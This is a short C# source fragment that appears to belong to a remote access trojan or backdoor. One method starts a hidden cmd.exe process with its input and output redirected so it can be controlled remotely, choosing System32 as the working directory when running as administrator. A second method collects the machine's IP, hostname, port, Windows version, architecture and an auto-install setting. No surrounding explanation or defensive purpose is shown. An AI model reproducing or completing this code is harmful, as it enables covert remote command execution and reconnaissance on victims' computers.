public static void Start() { ProcessStartInfo info = new ProcessStartInfo { FileName = "cmd.exe", CreateNoWindow = true, UseShellExecute = false, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, WorkingDirectory = InfoGathering.IsAdministrator() ? @"C:\Windows\System32" : Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) }; cmdProc = new Process { StartInfo = info }; //sets stuff up cmdProc.Start(); writer = cmdProc.StandardInput; writer.AutoFlush = true; reader = cmdProc.StandardOutput; errReader = cmdProc.StandardError; GetShellOutput(); }
//gets all the information public static string GiveInformation() { try { return($"{InfoGathering.GetIP()}|{InfoGathering.GetMachineName()}|{Settings.PORT.ToString()}|{InfoGathering.GetWinVersion()}|{InfoGathering.GetBits()}|{Settings.ISAUTOINSTALL}"); } catch (Exception) { return("failed"); } }